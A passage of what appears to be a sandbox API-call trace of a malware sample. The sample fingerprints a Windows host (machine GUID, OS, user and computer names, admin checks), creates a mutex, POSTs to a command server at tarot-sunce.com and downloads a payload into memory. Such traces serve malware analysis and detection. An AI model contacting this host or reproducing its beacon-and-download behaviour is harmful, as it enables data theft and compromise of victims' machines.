returned 0x74856671 [0132.764] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x74820000 [0132.770] GetProcAddress (hModule=0x74820000, lpProcName="GdipGetImageEncodersSize") returned 0x74862203 [0132.771] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x74820000 [0132.772] GetProcAddress (hModule=0x74820000, lpProcName="GdipGetImageEncoders") returned 0x7486228c [0132.773] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x74820000 [0132.775] GetProcAddress (hModule=0x74820000, lpProcName="GdipDisposeImage") returned 0x74854cc8 [0132.776] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x74820000 [0132.777] GetProcAddress (hModule=0x74820000, lpProcName="GdipSaveImageToStream") returned 0x74854153 [0132.779] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75f10000 [0132.781] GetProcAddress (hModule=0x75f10000, lpProcName="CreateStreamOnHGlobal") returned 0x75f3363b [0132.782] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75f10000 [0132.783] GetProcAddress (hModule=0x75f10000, lpProcName="GetHGlobalFromStream") returned 0x75f341d5 [0132.791] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0132.817] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0132.910] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75b90000 [0132.910] GetProcAddress (hModule=0x75b90000, lpProcName="ExpandEnvironmentStringsW") returned 0x75ba4173 [0132.911] GetProcAddress (hModule=0x75b90000, lpProcName="GetComputerNameW") returned 0x75badd0e [0132.911] GetProcAddress (hModule=0x75b90000, lpProcName="GlobalMemoryStatus") returned 0x75ba8b6d [0132.911] GetProcAddress (hModule=0x75b90000, lpProcName="CreateFileW") returned 0x75ba3f5c [0132.911] GetProcAddress (hModule=0x75b90000, lpProcName="GetFileSize") returned 0x75ba196e [0132.911] GetProcAddress (hModule=0x75b90000, lpProcName="CloseHandle") returned 0x75ba1410 [0132.912] GetProcAddress (hModule=0x75b90000, lpProcName="ReadFile") returned 0x75ba3ed3 [0132.912] GetProcAddress (hModule=0x75b90000, lpProcName="GetFileAttributesW") returned 0x75ba1b18 [0132.912] GetProcAddress (hModule=0x75b90000, lpProcName="CreateMutexA") returned 0x75ba4c6b [0132.912] GetProcAddress (hModule=0x75b90000, lpProcName="ReleaseMutex") returned 0x75ba111e [0132.913] GetProcAddress (hModule=0x75b90000, lpProcName="GetLastError") returned 0x75ba11c0 [0132.913] GetProcAddress (hModule=0x75b90000, lpProcName="GetCurrentDirectoryW") returned 0x75ba5611 [0132.913] GetProcAddress (hModule=0x75b90000, lpProcName="SetEnvironmentVariableW") returned 0x75ba89f1 [0132.913] GetProcAddress (hModule=0x75b90000, lpProcName="GetEnvironmentVariableW") returned 0x75ba1b48 [0132.913] GetProcAddress (hModule=0x75b90000, lpProcName="SetCurrentDirectoryW") returned 0x75bb1260 [0132.914] GetProcAddress (hModule=0x75b90000, lpProcName="FindFirstFileW") returned 0x75ba4435 [0132.914] GetProcAddress (hModule=0x75b90000, lpProcName="FindNextFileW") returned 0x75ba54ee [0132.914] GetProcAddress (hModule=0x75b90000, lpProcName="LocalFree") returned 0x75ba2d3c [0132.914] GetProcAddress (hModule=0x75b90000, lpProcName="GetTickCount") returned 0x75ba110c [0132.915] GetProcAddress (hModule=0x75b90000, lpProcName="CopyFileW") returned 0x75bc830d [0132.915] GetProcAddress (hModule=0x75b90000, lpProcName="FindClose") returned 0x75ba4442 [0132.915] GetProcAddress (hModule=0x75b90000, lpProcName="GlobalMemoryStatusEx") returned 0x75bcd4c4 [0132.915] GetProcAddress (hModule=0x75b90000, lpProcName="CreateToolhelp32Snapshot") returned 0x75bc735f [0132.916] GetProcAddress (hModule=0x75b90000, lpProcName="Process32FirstW") returned 0x75bc8baf [0132.916] GetProcAddress (hModule=0x75b90000, lpProcName="Process32NextW") returned 0x75bc896c [0132.916] GetProcAddress (hModule=0x75b90000, lpProcName="GetModuleFileNameW") returned 0x75ba4950 [0132.916] GetProcAddress (hModule=0x75b90000, lpProcName="SetDllDirectoryW") returned 0x75c2004f [0132.916] GetProcAddress (hModule=0x75b90000, lpProcName="GetLocaleInfoA") returned 0x75bbd5e5 [0132.917] GetProcAddress (hModule=0x75b90000, lpProcName="GetLocalTime") returned 0x75ba5aa6 [0132.917] GetProcAddress (hModule=0x75b90000, lpProcName="GetTimeZoneInformation") returned 0x75ba465a [0132.917] GetProcAddress (hModule=0x75b90000, lpProcName="RemoveDirectoryW") returned 0x75c244cf [0132.917] GetProcAddress (hModule=0x75b90000, lpProcName="DeleteFileW") returned 0x75ba89b3 [0132.918] GetProcAddress (hModule=0x75b90000, lpProcName="GetLogicalDriveStringsA") returned 0x75bae4dc [0132.918] GetProcAddress (hModule=0x75b90000, lpProcName="GetDriveTypeA") returned 0x75bbef75 [0132.918] GetProcAddress (hModule=0x75b90000, lpProcName="CreateProcessW") returned 0x75ba103d [0132.918] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75cf0000 [0132.918] GetProcAddress (hModule=0x75cf0000, lpProcName="GetUserNameW") returned 0x75d0157a [0132.919] GetProcAddress (hModule=0x75cf0000, lpProcName="RegCreateKeyExW") returned 0x75d040fe [0132.919] GetProcAddress (hModule=0x75cf0000, lpProcName="RegQueryValueExW") returned 0x75d046ad [0132.919] GetProcAddress (hModule=0x75cf0000, lpProcName="RegCloseKey") returned 0x75d0469d [0132.919] GetProcAddress (hModule=0x75cf0000, lpProcName="RegOpenKeyExW") returned 0x75d0468d [0132.920] GetProcAddress (hModule=0x75cf0000, lpProcName="AllocateAndInitializeSid") returned 0x75d040e6 [0132.920] GetProcAddress (hModule=0x75cf0000, lpProcName="LookupAccountSidA") returned 0x75d31daa [0132.920] GetProcAddress (hModule=0x75cf0000, lpProcName="CreateProcessAsUserW") returned 0x75cfc592 [0132.920] GetProcAddress (hModule=0x75cf0000, lpProcName="CheckTokenMembership") returned 0x75cfdf04 [0132.920] GetProcAddress (hModule=0x75cf0000, lpProcName="RegOpenKeyW") returned 0x75d02459 [0132.921] GetProcAddress (hModule=0x75cf0000, lpProcName="RegEnumKeyW") returned 0x75d0445b [0132.921] GetProcAddress (hModule=0x75cf0000, lpProcName="RegEnumValueW") returned 0x75d048cc [0132.921] GetProcAddress (hModule=0x75cf0000, lpProcName="CryptAcquireContextA") returned 0x75cf91dd [0132.921] GetProcAddress (hModule=0x75cf0000, lpProcName="CryptCreateHash") returned 0x75cfdf4e [0132.922] GetProcAddress (hModule=0x75cf0000, lpProcName="CryptHashData") returned 0x75cfdf36 [0132.922] GetProcAddress (hModule=0x75cf0000, lpProcName="CryptGetHashParam") returned 0x75cfdf7e [0132.922] GetProcAddress (hModule=0x75cf0000, lpProcName="CryptDestroyHash") returned 0x75cfdf66 [0132.922] GetProcAddress (hModule=0x75cf0000, lpProcName="CryptReleaseContext") returned 0x75cfe124 [0132.922] LoadLibraryA (lpLibFileName="user32.dll") returned 0x770d0000 [0132.923] GetProcAddress (hModule=0x770d0000, lpProcName="EnumDisplayDevicesW") returned 0x7710e567 [0132.923] GetProcAddress (hModule=0x770d0000, lpProcName="wvsprintfA") returned 0x770faad3 [0132.923] GetProcAddress (hModule=0x770d0000, lpProcName="GetKeyboardLayoutList") returned 0x770f2e69 [0132.923] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x76260000 [0132.924] GetProcAddress (hModule=0x76260000, lpProcName="ShellExecuteExW") returned 0x76281e46 [0132.924] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77bb0000 [0132.924] GetProcAddress (hModule=0x77bb0000, lpProcName="RtlComputeCrc32") returned 0x77c6ffc1 [0132.931] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0132.945] LocalAlloc (uFlags=0x0, uBytes=0xff8) returned 0x1e24e710 [0132.946] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x1e7e0000 [0133.061] LocalAlloc (uFlags=0x0, uBytes=0x644) returned 0x1e273eb8 [0133.061] VirtualAlloc (lpAddress=0x1e7e0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e0000 [0133.061] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1e7dfcb9, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x222, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1e7dfcb4 | out: pSid=0x1e7dfcb4*=0x1e238a28*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0133.061] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x1e238a28*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1e7dfcb0 | out: IsMember=0x1e7dfcb0) returned 1 [0133.063] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1e7dfcb9, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x221, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1e7dfcb4 | out: pSid=0x1e7dfcb4*=0x1e238a28*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0133.063] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x1e238a28*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1e7dfcb0 | out: IsMember=0x1e7dfcb0) returned 1 [0133.063] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1e7dfcb9, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1e7dfcb4 | out: pSid=0x1e7dfcb4*=0x1e238a28*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0133.063] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x1e238a28*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1e7dfcb0 | out: IsMember=0x1e7dfcb0) returned 1 [0133.064] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1e7dfcb6, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1e7dfca8 | out: pSid=0x1e7dfca8*=0x1e238a28*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0133.064] LookupAccountSidA (in: lpSystemName=0x0, Sid=0x1e238a28*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x0, cchName=0x1e7dfcb0, ReferencedDomainName=0x0, cchReferencedDomainName=0x1e7dfcac, peUse=0x1e7dfca4 | out: Name=0x0, cchName=0x1e7dfcb0, ReferencedDomainName=0x0, cchReferencedDomainName=0x1e7dfcac, peUse=0x1e7dfca4) returned 0 [0133.065] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x1e238a28*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), IsMember=0x1e7dfca0 | out: IsMember=0x1e7dfca0) returned 1 [0133.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0133.074] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x1e7dfc38 | out: phkResult=0x1e7dfc38*=0x5b4) returned 0x0 [0133.074] RegQueryValueExW (in: hKey=0x5b4, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x1e7dfc40, lpData=0x1e7dfa38, lpcbData=0x1e7dfc3c*=0xfe | out: lpType=0x1e7dfc40*=0x1, lpData="500c0908-381e-49dc-a6a0-1a800e9a56e0", lpcbData=0x1e7dfc3c*=0x4a) returned 0x0 [0133.074] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="500c0908-381e-49dc-a6a0-1a800e9a56e0", cchWideChar=36, lpMultiByteStr=0x1e7dec64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="500c0908-381e-49dc-a6a0-1a800e9a56e0¸\x9d]", lpUsedDefaultChar=0x0) returned 36 [0133.074] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7dfc4c | out: phkResult=0x1e7dfc4c*=0x5b0) returned 0x0 [0133.074] RegQueryValueExW (in: hKey=0x5b0, lpValueName="ProductName", lpReserved=0x0, lpType=0x1e7dfc54, lpData=0x1e7dfa4c, lpcbData=0x1e7dfc50*=0xfe | out: lpType=0x1e7dfc54*=0x1, lpData="Windows 7 Professional", lpcbData=0x1e7dfc50*=0x2e) returned 0x0 [0133.075] RegCloseKey (hKey=0x80000002) returned 0x0 [0133.111] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 7 Professional", cchWideChar=22, lpMultiByteStr=0x1e7dec64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 7 Professional0-1a800e9a56e0¸\x9d]", lpUsedDefaultChar=0x0) returned 22 [0133.111] GetUserNameW (in: lpBuffer=0x1e7dfa70, pcbBuffer=0x1e7dfa6c | out: lpBuffer="aETAdzjz", pcbBuffer=0x1e7dfa6c) returned 1 [0133.111] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="aETAdzjz", cchWideChar=8, lpMultiByteStr=0x1e7dec64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aETAdzjz7 Professional0-1a800e9a56e0¸\x9d]", lpUsedDefaultChar=0x0) returned 8 [0133.112] GetComputerNameW (in: lpBuffer=0x1e7dfa70, nSize=0x1e7dfa6c | out: lpBuffer="YKYD69Q", nSize=0x1e7dfa6c) returned 1 [0133.112] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="YKYD69Q", cchWideChar=7, lpMultiByteStr=0x1e7dec64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="YKYD69Qz7 Professional0-1a800e9a56e0¸\x9d]", lpUsedDefaultChar=0x0) returned 7 [0133.112] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="UA9D9D109-343A2EC6-89B2AFB8-7F3B18F0-E80C0038") returned 0x38 [0133.112] GetLastError () returned 0x0 [0133.112] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x1e7dfc3c | out: phkResult=0x1e7dfc3c*=0x5bc) returned 0x0 [0133.112] RegQueryValueExW (in: hKey=0x5bc, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x1e7dfc44, lpData=0x1e7dfa3c, lpcbData=0x1e7dfc40*=0xfe | out: lpType=0x1e7dfc44*=0x1, lpData="500c0908-381e-49dc-a6a0-1a800e9a56e0", lpcbData=0x1e7dfc40*=0x4a) returned 0x0 [0133.113] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="500c0908-381e-49dc-a6a0-1a800e9a56e0", cchWideChar=36, lpMultiByteStr=0x1e7dec68, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="500c0908-381e-49dc-a6a0-1a800e9a56e0Ìì}\x1eöîÀw\x80!ËwæîÀw K´iüì}\x1e", lpUsedDefaultChar=0x0) returned 36 [0133.113] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7dfc50 | out: phkResult=0x1e7dfc50*=0x5c0) returned 0x0 [0133.113] RegQueryValueExW (in: hKey=0x5c0, lpValueName="ProductName", lpReserved=0x0, lpType=0x1e7dfc58, lpData=0x1e7dfa50, lpcbData=0x1e7dfc54*=0xfe | out: lpType=0x1e7dfc58*=0x1, lpData="Windows 7 Professional", lpcbData=0x1e7dfc54*=0x2e) returned 0x0 [0133.113] RegCloseKey (hKey=0x80000002) returned 0x0 [0133.113] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 7 Professional", cchWideChar=22, lpMultiByteStr=0x1e7dec68, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 7 Professional0-1a800e9a56e0Ìì}\x1eöîÀw\x80!ËwæîÀw K´iüì}\x1e", lpUsedDefaultChar=0x0) returned 22 [0133.113] GetUserNameW (in: lpBuffer=0x1e7dfa74, pcbBuffer=0x1e7dfa70 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1e7dfa70) returned 1 [0133.113] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="aETAdzjz", cchWideChar=8, lpMultiByteStr=0x1e7dec68, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aETAdzjz7 Professional0-1a800e9a56e0Ìì}\x1eöîÀw\x80!ËwæîÀw K´iüì}\x1e", lpUsedDefaultChar=0x0) returned 8 [0133.113] GetComputerNameW (in: lpBuffer=0x1e7dfa74, nSize=0x1e7dfa70 | out: lpBuffer="YKYD69Q", nSize=0x1e7dfa70) returned 1 [0133.113] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="YKYD69Q", cchWideChar=7, lpMultiByteStr=0x1e7dec68, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="YKYD69Qz7 Professional0-1a800e9a56e0Ìì}\x1eöîÀw\x80!ËwæîÀw K´iüì}\x1e", lpUsedDefaultChar=0x0) returned 7 [0133.115] GetModuleHandleA (lpModuleName="wininet.dll") returned 0x76fd0000 [0133.115] GetProcAddress (hModule=0x76fd0000, lpProcName="InternetOpenA") returned 0x76fff18e [0133.116] GetProcAddress (hModule=0x76fd0000, lpProcName="InternetConnectA") returned 0x76ff49e9 [0133.116] GetProcAddress (hModule=0x76fd0000, lpProcName="HttpOpenRequestA") returned 0x76ff4c7d [0133.116] GetProcAddress (hModule=0x76fd0000, lpProcName="HttpAddRequestHeadersA") returned 0x76fedcd2 [0133.116] GetProcAddress (hModule=0x76fd0000, lpProcName="HttpSendRequestA") returned 0x770618f8 [0133.116] GetProcAddress (hModule=0x76fd0000, lpProcName="InternetReadFile") returned 0x76feb406 [0133.116] GetProcAddress (hModule=0x76fd0000, lpProcName="InternetCloseHandle") returned 0x76feab49 [0133.116] GetProcAddress (hModule=0x76fd0000, lpProcName="InternetCrackUrlA") returned 0x76fdd075 [0133.117] GetProcAddress (hModule=0x76fd0000, lpProcName="InternetSetOptionA") returned 0x76fe75e8 [0133.117] InternetCrackUrlA (in: lpszUrl="http://tarot-sunce.com/linko/PL341/index.php", dwUrlLength=0x2c, dwFlags=0x90000000, lpUrlComponents=0x1e7dee08 | out: lpUrlComponents=0x1e7dee08) returned 1 [0133.117] InternetOpenA (lpszAgent="Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0133.117] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x6, lpBuffer=0x1e7dfc74, dwBufferLength=0x4) returned 1 [0133.117] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x5, lpBuffer=0x1e7dfc74, dwBufferLength=0x4) returned 1 [0133.117] InternetConnectA (hInternet=0xcc0004, lpszServerName="tarot-sunce.com", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0133.117] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="/linko/PL341/index.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x84003300, dwContext=0x0) returned 0xcc000c [0133.117] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders="", dwHeadersLength=0x0, lpOptional=0x1e7e083c*, dwOptionalLength=0x69) returned 1 [0133.326] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x35b6) returned 1 [0133.326] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0xae0) returned 1 [0133.361] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0133.362] VirtualAlloc (lpAddress=0x1e7e8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e8000 [0133.362] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x105c) returned 1 [0133.363] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.363] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x77e8) returned 1 [0133.443] VirtualAlloc (lpAddress=0x1e7f0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7f0000 [0133.444] VirtualAlloc (lpAddress=0x1e7f8000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7f8000 [0133.445] VirtualFree (lpAddress=0x1e7e8000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.446] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x574) returned 1 [0133.446] VirtualFree (lpAddress=0x1e7ec000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0133.446] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0133.446] VirtualFree (lpAddress=0x1e804000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.447] VirtualFree (lpAddress=0x1e7f8000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0133.447] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x46dc) returned 1 [0133.482] VirtualFree (lpAddress=0x1e800000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.483] VirtualAlloc (lpAddress=0x1e7f8000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7f8000 [0133.483] VirtualFree (lpAddress=0x1e7f4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.484] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0133.485] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x574) returned 1 [0133.485] VirtualFree (lpAddress=0x1e7ec000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0133.485] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0133.486] VirtualFree (lpAddress=0x1e7fc000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0133.487] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x678c) returned 1 [0133.545] VirtualAlloc (lpAddress=0x1e7fc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7fc000 [0133.546] VirtualFree (lpAddress=0x1e7f4000, dwSize=0x8000, dwFreeType=0x4000) returned 1 [0133.547] VirtualFree (lpAddress=0x1e808000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.547] VirtualAlloc (lpAddress=0x1e7f4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7f4000 [0133.548] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x4c50) returned 1 [0133.548] VirtualAlloc (lpAddress=0x1e804000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e804000 [0133.549] VirtualFree (lpAddress=0x1e7fc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.550] VirtualAlloc (lpAddress=0x1e7fc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7fc000 [0133.551] VirtualFree (lpAddress=0x1e808000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.551] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x20b8) returned 1 [0133.580] VirtualFree (lpAddress=0x1e804000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.581] VirtualAlloc (lpAddress=0x1e804000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e804000 [0133.581] VirtualFree (lpAddress=0x1e800000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0133.583] VirtualFree (lpAddress=0x1e7e4000, dwSize=0x18000, dwFreeType=0x4000) returned 1 [0133.584] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, 